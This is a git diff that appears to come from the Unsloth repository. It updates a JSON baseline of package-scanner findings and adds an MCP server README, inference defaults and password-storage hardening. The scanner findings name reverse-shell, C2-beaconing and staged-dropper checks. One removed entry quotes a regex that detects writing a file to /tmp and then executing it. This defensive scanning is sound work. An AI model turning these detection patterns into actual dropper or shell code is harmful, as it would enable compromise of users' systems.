-      "evidence": "Obfusc: L422:         __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490:             __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3772: def eval(image: Image, *args: Callable[[int], float]) -> Image:",
+      "evidence": "Obfusc: L422:         __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490:             __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3776: def eval(image: Image, *args: Callable[[int], float]) -> Image:",
       "evidence_hash": "c2c1e7ae44e15862caf8de549d09db7b35e93282450f07ef61aaf5450a408c13"
     },
     {
@@ -1255,7 +1343,7 @@
       "file": "setuptools/_distutils/compilers/C/base.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L1286:         __import__(module_name)\nExec: L1113:         if lib_type not in eval(expected):",
+      "evidence": "Obfusc: L1287:         __import__(module_name)\nExec: L1114:         if lib_type not in eval(expected):",
       "evidence_hash": "368651e9818ed2d1bb009027d3bcfbf94ae30639c0882a6c2bddde97b8c4f1e5"
     },
     {
@@ -1271,7 +1359,7 @@
       "file": "setuptools/tests/config/test_pyprojecttoml.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L364:         \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98:             \"__main__.py\": \"def exec(): print('hello')\",",
+      "evidence": "Obfusc: L387:         \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98:             \"__main__.py\": \"def exec(): print('hello')\",",
       "evidence_hash": "067d41014f72a61d8b4adf25f3659d1f66a0e909f732223f48837aa7684df4e6"
     },
     {
@@ -1279,7 +1367,7 @@
       "file": "setuptools/tests/test_editable_install.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L449:         exec(finder, loc, loc)",
+      "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L447:         exec(finder, loc, loc)",
       "evidence_hash": "a78d7f5af7eb4ba92656cda258c195b92f6337c585c97d0823e47a9d4a2eb15d"
     },
     {
@@ -1322,12 +1410,20 @@
       "evidence": "Obfusc: L919:     c = compile(funcstr, filename, 'exec')\nExec: L163:             module = eval(import_command) | L170:                 exec(import_command, {}, namespace) | L903:                     exec(ln, {}, namespace) | L909:                     exec(ln, {}, namespace) | L920:     exec(c, namespace, funclocals)",
       "evidence_hash": "ab4f5819576a70038301668b8f3e4a781c4b757b146117d5d93eab1896a5a6cd"
     },
+    {
+      "package": "tensorboard",
+      "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js",
+      "check": "Python wheel ships large JS bundle (uncommon; manually review)",
+      "severity": "HIGH",
+      "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2",
+      "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381"
+    },
     {
       "package": "torch",
       "file": "torch/_dynamo/bytecode_debugger.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L1048:             self._old_trace = sys.gettrace() | L1049:             sys.settrace(self._settrace_callback) | L1106:             sys.settrace(self._old_trace)\nExec: L683:                         result = eval(arg, frame_globals, eval_locals) | L708:                     result = eval(cmd, frame_globals, eval_locals) | L716:                         exec(cmd, frame_globals, eval_locals)",
+      "evidence": "Anti: L1052:             self._old_trace = sys.gettrace() | L1053:             sys.settrace(self._settrace_callback) | L1113:             sys.settrace(self._old_trace)\nExec: L684:                         result = eval(arg, frame_globals, eval_locals) | L709:                     result = eval(cmd, frame_globals, eval_locals) | L717:                         exec(cmd, frame_globals, eval_locals)",
       "evidence_hash": "dc2afd1769d357c15b69802bd2799fafa059c0b1dcdd4937528fb5b601962f1b"
     },
     {
@@ -1343,7 +1439,7 @@
       "file": "torch/fx/experimental/rewriter.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L46:         code = compile(dest_ast, \"\", \"exec\")\nExec: L49:         exec(code, globals_dict)",
+      "evidence": "Obfusc: L44:         code = compile(dest_ast, \"\", \"exec\")\nExec: L47:         exec(code, globals_dict)",
       "evidence_hash": "76374f96feed416eec390458843621f33524cfb8d93ef0f3eb4cb1b47d0ad748"
     },
     {
@@ -1359,7 +1455,7 @@
       "file": "torch/package/package_importer.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L602:     def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412:             exec(code, ns)",
+      "evidence": "Obfusc: L599:     def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412:             exec(code, ns)",
       "evidence_hash": "c7c0650f0c74a086d224112f77ee76634b8f47afc047ce27fee8c7fc45560512"
     },
     {
@@ -1391,7 +1487,7 @@
       "file": "tests/test_mlx_trainer_internals.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L430:     assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L408:         def eval(self):",
+      "evidence": "Obfusc: L1158:     assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L1136:         def eval(self):",
       "evidence_hash": "c409327ef6420cc0c7224506fcb82b11bbc9838a6f2f97c9c2cfc00a40c4cdbf"
     },
     {
@@ -1407,7 +1503,7 @@
       "file": "unsloth_zoo/compiler.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L1013:             _mod = __import__(model_location, fromlist=items) | L4291:         f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294:         f' \"-____-\"     Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4292:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294:         f' \"-____-\"     Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4291:         f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612:                 if eval(_dtype) is not None: | L613:                     dtype = eval(_dtype) | L955:         _modeling_file = eval(model_location) | L1255:     f = eval(f\"{model_location}.{module}\") | L1563:         exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564:         try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699:         exec(f\"import {parent}\", locals(), globals()) | L2830:                 dir(eval(parent)), | L2834:             exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908:         module = eval(f\"modeling_file.{module}\") | L2935:             inner_class = eval(f\"modeling_file.{inner_class}\") | L3065:                 exec(f\"from timm.layers.norm_act import {norm}\") | L3073:             forward = eval(norm).forward | L3079:             exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096:                 exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104:             forward = eval(block).forward | L3110:             exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3385:         exec(f\"import {model_location}\", globals()) | L3388:     modeling_file = eval(model_location) | L3401:     exec(\nL3402:         \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3403:     ) | L3405:     exec(\nL3406:         \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3407:         globals(),\nL3408:         locals(),\nL3409:     ) | L3560:         source = eval(f\"modeling_file.{module}\") | L3574:         source = eval(f\"modeling_file.{module}\") | L3675:         source = eval(f\"modeling_file.{module}\") | L3713:             source = eval(f\"{model_location}.{module}\") | L3784:                 source = eval(f\"{model_location}.{module}\") | L3832:             source = eval(f\"{model_location}.{module}\") | L4054:         source = eval(f\"{model_location}.{module}\") | L4065:         exec(\nL4066:             f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4067:             globals(),\nL4068:         ) | L4131:                 source = eval(f\"{model_location}.{module}\") | L4172:                 module_cls = eval(f\"{model_location}.{module}\") | L4209:                 module_cls = eval(f\"{model_location}.{module}\") | L4276:     exec(\nL4277:         \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4278:         globals(),\nL4279:     ) | L4341:     exec(inner_training_loop, globals()) | L4349:             function = eval(f\"{model_location}.{module}\") | L4427:             function = eval(f\"{model_location}.{module}\") | L4562:                 source = eval(f\"{model_location}.torch\") | L4569:             function = eval(f\"source.nn.{module}\") | L4628:             exec(\nL4629:                 f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4630:                 globals(),\nL4631:                 locals(),\nL4632:             ) | L4634:                 exec(\nL4635:                     f\"{model_location}.nn.{module}.forward = forward\",\nL4636:                     globals(),\nL4637:                     locals(),\nL4638:                 ) | L4642:                 exec(\nL4643:                     f\"combined_module.torch.nn.{module}.forward = forward\",\nL4644:                     globals(),\nL4645:                     locals(),\nL4646:                 ) | L4648:                     exec(\nL4649:                         f\"combined_module.nn.{module}.forward = forward\",\nL4650:                         globals(),\nL4651:                         locals(),\nL4652:                     ) | L4669:             exec(\nL4670:                 f\"{model_location}.{module} = combined_module.{module}\",\nL4671:                 globals(),\nL4672:                 locals(),\nL4673:             ) | L4683:     check_dicts = dir(eval(f\"{model_location}\")) | L4685:         item = eval(f\"{model_location}.{check}\") | L4695:                         exec(\nL4696:                             f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4697:                             globals(),\nL4698:                             locals(),\nL4699:                         )",
+      "evidence": "Obfusc: L1013:             _mod = __import__(model_location, fromlist=items) | L4295:         f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298:         f' \"-____-\"     Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4296:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298:         f' \"-____-\"     Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4295:         f\"   {chr(92)}{chr(92)}   /|    Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296:         f\"O^O/ {chr(92)}_/ {chr(92)}    Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297:         f\"{chr(92)}        /    Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612:                 if eval(_dtype) is not None: | L613:                     dtype = eval(_dtype) | L955:         _modeling_file = eval(model_location) | L1255:     f = eval(f\"{model_location}.{module}\") | L1563:         exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564:         try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699:         exec(f\"import {parent}\", locals(), globals()) | L2830:                 dir(eval(parent)), | L2834:             exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908:         module = eval(f\"modeling_file.{module}\") | L2935:             inner_class = eval(f\"modeling_file.{inner_class}\") | L3065:                 exec(f\"from timm.layers.norm_act import {norm}\") | L3073:             forward = eval(norm).forward | L3079:             exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096:                 exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104:             forward = eval(block).forward | L3110:             exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3389:         exec(f\"import {model_location}\", globals()) | L3392:     modeling_file = eval(model_location) | L3405:     exec(\nL3406:         \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3407:     ) | L3409:     exec(\nL3410:         \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3411:         globals(),\nL3412:         locals(),\nL3413:     ) | L3564:         source = eval(f\"modeling_file.{module}\") | L3578:         source = eval(f\"modeling_file.{module}\") | L3679:         source = eval(f\"modeling_file.{module}\") | L3717:             source = eval(f\"{model_location}.{module}\") | L3788:                 source = eval(f\"{model_location}.{module}\") | L3836:             source = eval(f\"{model_location}.{module}\") | L4058:         source = eval(f\"{model_location}.{module}\") | L4069:         exec(\nL4070:             f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4071:             globals(),\nL4072:         ) | L4135:                 source = eval(f\"{model_location}.{module}\") | L4176:                 module_cls = eval(f\"{model_location}.{module}\") | L4213:                 module_cls = eval(f\"{model_location}.{module}\") | L4280:     exec(\nL4281:         \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4282:         globals(),\nL4283:     ) | L4345:     exec(inner_training_loop, globals()) | L4353:             function = eval(f\"{model_location}.{module}\") | L4431:             function = eval(f\"{model_location}.{module}\") | L4566:                 source = eval(f\"{model_location}.torch\") | L4573:             function = eval(f\"source.nn.{module}\") | L4632:             exec(\nL4633:                 f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4634:                 globals(),\nL4635:                 locals(),\nL4636:             ) | L4638:                 exec(\nL4639:                     f\"{model_location}.nn.{module}.forward = forward\",\nL4640:                     globals(),\nL4641:                     locals(),\nL4642:                 ) | L4646:                 exec(\nL4647:                     f\"combined_module.torch.nn.{module}.forward = forward\",\nL4648:                     globals(),\nL4649:                     locals(),\nL4650:                 ) | L4652:                     exec(\nL4653:                         f\"combined_module.nn.{module}.forward = forward\",\nL4654:                         globals(),\nL4655:                         locals(),\nL4656:                     ) | L4673:             exec(\nL4674:                 f\"{model_location}.{module} = combined_module.{module}\",\nL4675:                 globals(),\nL4676:                 locals(),\nL4677:             ) | L4687:     check_dicts = dir(eval(f\"{model_location}\")) | L4689:         item = eval(f\"{model_location}.{check}\") | L4699:                         exec(\nL4700:                             f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4701:                             globals(),\nL4702:                             locals(),\nL4703:                         )",
       "evidence_hash": "ec1875fd32d00fe885e566ebda75163e46e838ca31020abb57e0991892c2bdf7"
     },
     {
@@ -1423,8 +1519,8 @@
       "file": "unsloth_zoo/mlx/loader.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L2218:             _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L140:     mx.eval(model.parameters()) | L176:     mx.eval(model.parameters()) | L2022:         model.eval() | L2605:         mx.eval(model.parameters()) | L2721:         mx.eval(module.weight) | L4030:                 mx.eval(model.parameters()) | L4058:                 mx.eval(model.parameters()) | L4178:                 mx.eval(model.parameters())",
-      "evidence_hash": "9b29dade82912216c8b4808aa293b79749aa80ef1d2be35edd93bec7632810f1"
+      "evidence": "Obfusc: L2869:             _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L148:     mx.eval(model.parameters()) | L180:     mx.eval(model.parameters()) | L732:                 mx.eval(model.parameters()) | L733:                 mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L799:             mx.eval(model.parameters()) | L802:                 mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2673:         model.eval() | L3256:         mx.eval(model.parameters()) | L3372:         mx.eval(module.weight) | L5666:                 mx.eval(model.parameters()) | L5716:                 mx.eval(model.parameters()) | L5859:                 mx.eval(model.parameters())",
+      "evidence_hash": "7b44760032c5df6d379ccfdd0bff3d23f857f64e08210fa0fba8d2881d457634"
     },
     {
       "package": "unsloth-zoo",
@@ -1439,7 +1535,7 @@
       "file": "unsloth_zoo/saving_utils.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L3241:         module = __import__('transformers', fromlist=[model_class_name])\nExec: L3123:     exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3169:     exec(save_pretrained, globals(), functions)",
+      "evidence": "Obfusc: L4015:         module = __import__('transformers', fromlist=[model_class_name])\nExec: L3897:     exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3943:     exec(save_pretrained, globals(), functions)",
       "evidence_hash": "530b2383acd9fe8330aa65cd0bf86164aaacd47770e7c8d0752195bee36396ec"
     },
     {
@@ -1449,46 +1545,6 @@
       "severity": "HIGH",
       "evidence": "Obfusc: L836:         code = compile(module, \"<werkzeug routing>\", \"exec\")\nExec: L736:         exec(code, globs, locs)",
       "evidence_hash": "5c0992c90f05c772abd94d00784f157de337e1f8567f8b3aee1b15e46c96cd5d"
-    },
-    {
-      "package": "multiprocess",
-      "file": "multiprocess/tests/__init__.py",
-      "check": "Reverse shell / bind shell pattern",
-      "severity": "CRITICAL",
-      "evidence": "L3355:                     os.dup2(conn.fileno(), i) | L3387:                          \"test needs os.dup2()\") | L3405:             os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c",
-      "evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf"
-    },
-    {
-      "package": "unsloth-zoo",
-      "file": "scripts/scan_packages.py",
-      "check": "Writes to /tmp and executes (staged dropper)",
-      "severity": "CRITICAL",
-      "evidence": "L308:     r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308:     r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8",
-      "evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839"
-    },
-    {
-      "package": "multiprocess",
-      "file": "multiprocess/tests/__init__.py",
-      "check": "Reverse shell / bind shell pattern",
-      "severity": "CRITICAL",
-      "evidence": "L3521:                     os.dup2(conn.fileno(), i) | L3553:                          \"test needs os.dup2()\") | L3571:             os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24",
-      "evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452"
-    },
-    {
-      "package": "fastapi",
-      "file": "fastapi/routing.py",
-      "check": "C2 polling/beaconing loop detected",
-      "severity": "CRITICAL",
-      "evidence": "L586:                                 while True: sha256:bef9ea429314fad39e063895a37dc5cfe9b04561f3d1acbb3c99abb4e92e6cfe",
-      "evidence_hash": "b15773e1bc249713156a349278ea60f7c0e3dd7d537affe929ab51089e1942bb"
-    },
-    {
-      "package": "tensorboard",
-      "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js",
-      "check": "Python wheel ships large JS bundle (uncommon; manually review)",
-      "severity": "HIGH",
-      "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2",
-      "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381"
     }
   ]
 }
diff --git a/scripts/verify_import_hoist.py b/scripts/verify_import_hoist.py
index b4c908b0cb..22a21a2ebc 100644
--- a/scripts/verify_import_hoist.py
+++ b/scripts/verify_import_hoist.py
@@ -564,6 +564,12 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
     for n, tids in b["module_import_targets"].items():
         if tids & after_used:
             continue  # resolved -> fine
+        # `from __future__ import ...` is a compiler directive, not a runtime
+        # binding: the name (`annotations`, ...) is never loaded, so it can never
+        # "resolve" to a use. Skip it so a legitimately-added future import
+        # (e.g. `annotations` for lazy PEP 604 `X | None` on py3.9) is not flagged.
+        if all(t.startswith("from:__future__:") for t in tids):
+            continue
         newly_added = bool(tids - before_module_targets)
         was_used_before = bool(tids & before_used)
         if newly_added or was_used_before:
@@ -588,9 +594,23 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
     #    package object and only *add* submodule attributes (e.g. adding
     #    `import urllib.error` next to `import urllib.request`). Nothing the name
     #    resolved to before is lost, so no reference is re-pointed -- skip it.
+    #
+    #    A deliberate *relocation* is also benign and must not block: when a name
+    #    keeps its spelling but its import source is moved A -> B in THIS diff (the
+    #    old `from A import x` is removed at module level and a new `from B import x`
+    #    is added), the swap is intentional, not a silent re-point to a pre-existing
+    #    different object. This mirrors the relocation tolerance already applied to
+    #    TARGET-MISSING. The dangerous case -- the name now resolving to a target
+    #    that already existed before (shadow/clash) -- is NOT exempted.
+    removed_module_targets = before_module_targets - after_module_targets
     for key, tafter in b["target_by_use"].items():
         tbefore = a["target_by_use"].get(key)
         if tbefore and tbefore != tafter and (tbefore - tafter):
+            lost = tbefore - tafter
+            gained = tafter - tbefore
+            relocated = lost <= removed_module_targets and gained <= added_module_targets
+            if relocated:
+                continue
             findings.append(
                 (
                     "BLOCKER",
diff --git a/studio/MCP.md b/studio/MCP.md
new file mode 100644
index 0000000000..91b39fcc69
--- /dev/null
+++ b/studio/MCP.md
@@ -0,0 +1,34 @@
+# Unsloth Studio MCP server
+
+Studio can expose a local MCP server so an MCP client can inspect models and
+GPU state, validate recipes, start or stop training, inspect recipe output, and
+export a loaded model.
+
+The server is disabled by default. Enable it for a local Studio process with:
+
+```bash
+UNSLOTH_STUDIO_ENABLE_MCP=1 \
+UNSLOTH_STUDIO_MCP_TOKEN='use-a-local-secret' \
+unsloth studio
+```
+
+The endpoint is `http://127.0.0.1:8888/mcp/` when Studio uses its default port
+(a request to `/mcp` redirects to the canonical `/mcp/`). Use the actual Studio
+port when it is configured differently.
+
+The high-impact tools are:
+
+- `studio_status` and `list_local_models` for discovery
+- `get_training_status`, `start_training`, `stop_training`, and `list_training_runs`
+- `validate_recipe`, `get_recipe_job_status`, and `get_recipe_job_dataset`
+- `load_checkpoint` and `export_gguf`
+
+`start_training` accepts the same fields as the Studio `TrainingStartRequest`.
+The request is validated by the existing Pydantic model before a subprocess is
+started. Export paths use the existing Studio validation as well.
+
+The endpoint always requires `UNSLOTH_STUDIO_MCP_TOKEN` and checks an exact
+Bearer token for both HTTP and WebSocket connections. Keep it on localhost
+unless the deployment has an authenticated reverse proxy. The MCP endpoint is
+intentionally opt-in because tools can consume GPU memory, write model
+artifacts, and stop active work.
\ No newline at end of file
diff --git a/studio/backend/assets/configs/inference_defaults.json b/studio/backend/assets/configs/inference_defaults.json
index 1c7a409bc1..0633f80bbc 100644
--- a/studio/backend/assets/configs/inference_defaults.json
+++ b/studio/backend/assets/configs/inference_defaults.json
@@ -235,6 +235,13 @@
       "min_p": 0.1,
       "repetition_penalty": 1.0
     },
+    "deepseek-v4": {
+      "temperature": 1.0,
+      "top_p": 1.0,
+      "top_k": -1,
+      "min_p": 0.0,
+      "repetition_penalty": 1.0
+    },
     "deepseek-r1": {
       "temperature": 0.6,
       "top_p": 0.95,
@@ -394,7 +401,7 @@
     "phi-4", "phi-3",
     "mistral-nemo", "mistral-small", "mistral-large", "magistral", "ministral",
     "devstral", "pixtral",
-    "deepseek-r1", "deepseek-v3", "deepseek-ocr",
+    "deepseek-v4", "deepseek-r1", "deepseek-v3", "deepseek-ocr",
     "glm-5", "glm-4",
     "nemotron",
     "minimax-m2.7", "minimax-m2.5", "minimax",
diff --git a/studio/backend/auth/storage.py b/studio/backend/auth/storage.py
index a0da2b2096..9bb3ab5735 100644
--- a/studio/backend/auth/storage.py
+++ b/studio/backend/auth/storage.py
@@ -18,6 +18,10 @@ from utils.paths import auth_db_path, ensure_dir
 DB_PATH = auth_db_path()
 DEFAULT_ADMIN_USERNAME = "unsloth"
 
+# Single source for the password policy; models/auth.py ChangePasswordRequest
+# and the terminal prompt both enforce it. Keep the unsloth_cli mirror in sync.
+MIN_PASSWORD_LENGTH = 8
+
 # Plaintext bootstrap password file beside auth.db, deleted on first password
 # change so the credential never lingers on disk.
 _BOOTSTRAP_PW_PATH = DB_PATH.parent / ".bootstrap_password"
@@ -79,11 +83,42 @@ def _load_bootstrap_password() -> Optional[str]:
 
 
 def clear_bootstrap_password() -> None:
-    """Delete the persisted bootstrap password file (called after password change)."""
+    """Delete the persisted bootstrap password file (after a password change).
+
+    Best-effort: the new hash is already committed, so a locked/undeletable file
+    (Windows AV, read-only auth dir) must not fail the change.
+    """
     global _bootstrap_password
     _bootstrap_password = None
     if _BOOTSTRAP_PW_PATH.is_file():
-        _BOOTSTRAP_PW_PATH.unlink(missing_ok = True)
+        try:
+            _BOOTSTRAP_PW_PATH.unlink(missing_ok = True)
+        except OSError as e:
+            # Removal failed (Windows AV, read-only auth dir). The hash is already
+            # committed, so don't fail the change -- but truncate the file so its
+            # stale plaintext can't be re-seeded by generate_bootstrap_password()
+            # if a later reset-password deletes auth.db and re-validates it.
+            try:
+                _BOOTSTRAP_PW_PATH.write_text("")
+                cleared = True
+            except OSError:
+                cleared = False
+            import sys
+
+            if cleared:
+                message = (
+                    f"Warning: could not delete {_BOOTSTRAP_PW_PATH.name} ({e}); "
+                    "cleared its contents so the old bootstrap password cannot be reused."
+                )
+            else:
+                # Neither removed nor truncated: stale plaintext is still on disk
+                # and would be reused if auth.db is reset. Don't claim otherwise.
+                message = (
+                    f"Warning: could not delete or clear {_BOOTSTRAP_PW_PATH.name} ({e}); "
+                    "its old bootstrap password is still on disk. Remove it manually to "
+                    "prevent reuse after a reset."
+                )
+            print(message, file = sys.stderr, flush = True)
 
 
 def _hash_token(token: str) -> str:
@@ -547,8 +582,18 @@ def ensure_default_admin() -> bool:
         return False
 
 
-def update_password(username: str, new_password: str) -> bool:
-    """Update password, clear first-login requirement, rotate JWT secret."""
+def update_password(
+    username: str,
+    new_password: str,
+    *,
+    revoke_refresh_tokens: bool = False,
+) -> bool:
+    """Update password, clear first-login requirement, rotate JWT secret.
+
+    ``revoke_refresh_tokens`` deletes the user's refresh tokens in the SAME
+    transaction: a separate delete could fail after the password commit and
+    leave a pre-change token still able to mint access tokens.
+    """
     from .hashing import hash_password
 
     salt, pwd_hash = hash_password(new_password)
@@ -563,6 +608,8 @@ def update_password(username: str, new_password: str) -> bool:
             """,
             (salt, pwd_hash, jwt_secret, username),
         )
+        if revoke_refresh_tokens and cursor.rowcount > 0:
+            conn.execute("DELETE FROM refresh_tokens WHERE username = ?", (username,))
         conn.commit()
         if cursor.rowcount > 0:
             clear_bootstrap_password()
diff --git a/studio/backend/auth/terminal_prompt.py b/studio/backend/auth/terminal_prompt.py
new file mode 100644
index 0000000000..8491019ae9
--- /dev/null
